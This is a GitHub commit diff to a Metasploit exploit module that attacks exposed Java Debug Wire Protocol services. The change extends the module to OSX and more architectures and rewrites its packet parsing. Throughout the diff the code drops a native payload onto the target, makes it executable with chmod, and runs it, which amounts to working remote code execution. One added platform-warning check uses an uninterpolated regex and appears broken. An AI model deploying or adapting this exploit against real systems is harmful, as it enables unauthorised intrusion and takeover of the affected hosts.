Skip to content

Commit 821121d

Browse files
author
Brent Cook
committed
Land rapid7#8871, improve compatibility and speed of JDWP exploit
2 parents eb5ec8c + 1289492 commit 821121d

File tree

1 file changed

+41
-55
lines changed

1 file changed

+41
-55
lines changed

modules/exploits/multi/misc/java_jdwp_debugger.rb

Lines changed: 41 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -91,26 +91,19 @@ def initialize
9191
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
9292
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
9393
],
94-
'Platform' => %w{ linux win },
95-
'Arch' => ARCH_X86,
94+
'Platform' => %w{ linux osx win },
95+
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
9696
'Payload' =>
9797
{
98-
'Space' => 2048,
98+
'Space' => 10000000,
9999
'BadChars' => '',
100100
'DisableNops' => true
101101
},
102102
'Targets' =>
103103
[
104-
[ 'Linux x86 (Native Payload)',
105-
{
106-
'Platform' => 'linux'
107-
}
108-
],
109-
[ 'Windows x86 (Native Payload)',
110-
{
111-
'Platform' => 'win'
112-
}
113-
]
104+
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
105+
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
106+
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
114107
],
115108
'DefaultTarget' => 0,
116109
'License' => MSF_LICENSE,
@@ -175,24 +168,18 @@ def read_reply(timeout = default_timeout)
175168
if pkt_len < 4
176169
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
177170
end
178-
pkt_len = pkt_len - 4
171+
id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
172+
if err_code != 0 && flags == REPLY_PACKET_TYPE
173+
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
174+
end
179175

180-
response = sock.get_once(pkt_len, timeout)
181-
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
182-
while response.length < pkt_len
176+
response = ""
177+
while response.length + 11 < pkt_len
183178
partial = sock.get_once(pkt_len, timeout)
184179
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
185180
response << partial
186181
end
187-
188-
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
189-
190-
id, flags, err_code = response.unpack('NCn')
191-
response.slice!(0..6)
192-
if err_code != 0 && flags == REPLY_PACKET_TYPE
193-
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
194-
end
195-
182+
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
196183
response
197184
end
198185

@@ -207,8 +194,7 @@ def solve_string(data)
207194
# Unpacks received string structure from the server response into a normal string
208195
def read_string(data)
209196
data_len = data.unpack('N')[0]
210-
data.slice!(0..3)
211-
return data.slice!(0,data_len)
197+
return data[4,data_len]
212198
end
213199

214200
# Creates a new string object in the target VM and returns its id
@@ -252,10 +238,11 @@ def unformat(fmt, value)
252238
# Parses given data according to a set of formats
253239
def parse_entries(buf, formats, explicit=true)
254240
entries = []
241+
index = 0
255242

256243
if explicit
257244
nb_entries = buf.unpack('N')[0]
258-
buf.slice!(0..3)
245+
buf = buf[4..-1]
259246
else
260247
nb_entries = 1
261248
end
@@ -270,25 +257,25 @@ def parse_entries(buf, formats, explicit=true)
270257

271258
formats.each do |fmt,name|
272259
if fmt == "L" || fmt == 8
273-
data[name] = buf.unpack('Q>')[0]
274-
buf.slice!(0..7)
260+
data[name] = buf[index, 8].unpack('Q>')[0]
261+
index += 8
275262
elsif fmt == "I" || fmt == 4
276-
data[name] = buf.unpack('N')[0]
277-
buf.slice!(0..3)
263+
data[name] = buf[index, 4].unpack('N')[0]
264+
index += 4
278265
elsif fmt == "S"
279-
data_len = buf.unpack('N')[0]
280-
buf.slice!(0..3)
281-
data[name] = buf.slice!(0,data_len)
266+
data_len = buf[index, 4].unpack('N')[0]
267+
data[name] = buf[index + 4, data_len]
268+
index += 4 + data_len
282269
elsif fmt == "C"
283-
data[name] = buf.unpack('C')[0]
284-
buf.slice!(0)
270+
data[name] = buf[index].unpack('C')[0]
271+
index += 1
285272
elsif fmt == "Z"
286-
t = buf.unpack('C')[0]
287-
buf.slice!(0)
273+
t = buf[index].unpack('C')[0]
288274
if t == 115
289-
data[name] = solve_string(buf.slice!(0..7))
275+
data[name] = solve_string(buf[index + 1, 8])
276+
index += 9
290277
elsif t == 73
291-
data[name], buf = buf.unpack('NN')
278+
data[name], buf = buf[index +1, 4].unpack('NN')
292279
end
293280
else
294281
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
@@ -340,13 +327,13 @@ def get_all_threads
340327
sock.put(create_packet(ALLTHREADS_SIG))
341328
response = read_reply
342329
num_threads = response.unpack('N').first
343-
response.slice!(0..3)
330+
index = 4
344331

345332
size = @vars["objectid_size"]
346333
num_threads.times do
347-
t_id = unformat(size, response[0..size-1])
334+
t_id = unformat(size, response[index, size])
348335
@threads[t_id] = nil
349-
response.slice!(0..size-1)
336+
index += size
350337
end
351338
end
352339

@@ -429,10 +416,8 @@ def get_value(reftype_id, field_id)
429416
fail_with(Failure::Unknown, "Bad response when getting value for field")
430417
end
431418

432-
response.slice!(0..4)
433-
434419
len = @vars["objectid_size"]
435-
value = unformat(len, response)
420+
value = unformat(len, response[5..-1])
436421

437422
value
438423
end
@@ -688,15 +673,16 @@ def setup_payload
688673
when 'linux'
689674
path = temp_path || '/tmp/'
690675
payload_exe = "#{path}#{payload_exe}"
691-
if @os.downcase =~ /win/
692-
print_warning("#{@os} system detected but using Linux target...")
693-
end
676+
when 'osx'
677+
path = temp_path || '/private/tmp/'
678+
payload_exe = "#{path}#{payload_exe}"
694679
when 'win'
695680
path = temp_path || './'
696681
payload_exe = "#{path}#{payload_exe}.exe"
697-
unless @os.downcase =~ /win/
698-
print_warning("#{@os} system detected but using Windows target...")
699-
end
682+
end
683+
684+
if @os.downcase =~ /target['Platform']/
685+
print_warning("#{@os} system detected but using #{target['Platform']} target...")
700686
end
701687

702688
return payload_exe, pl_exe
@@ -900,7 +886,7 @@ def exec_payload(thread_id)
900886
close_file(thread_id, file)
901887

902888
# 5b. When linux arch, give execution permissions to file
903-
if target['Platform'] == 'linux'
889+
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
904890
cmd = "chmod +x #{payload_exe}"
905891
execute_command(thread_id, cmd)
906892
end

0 commit comments

Comments
 (0)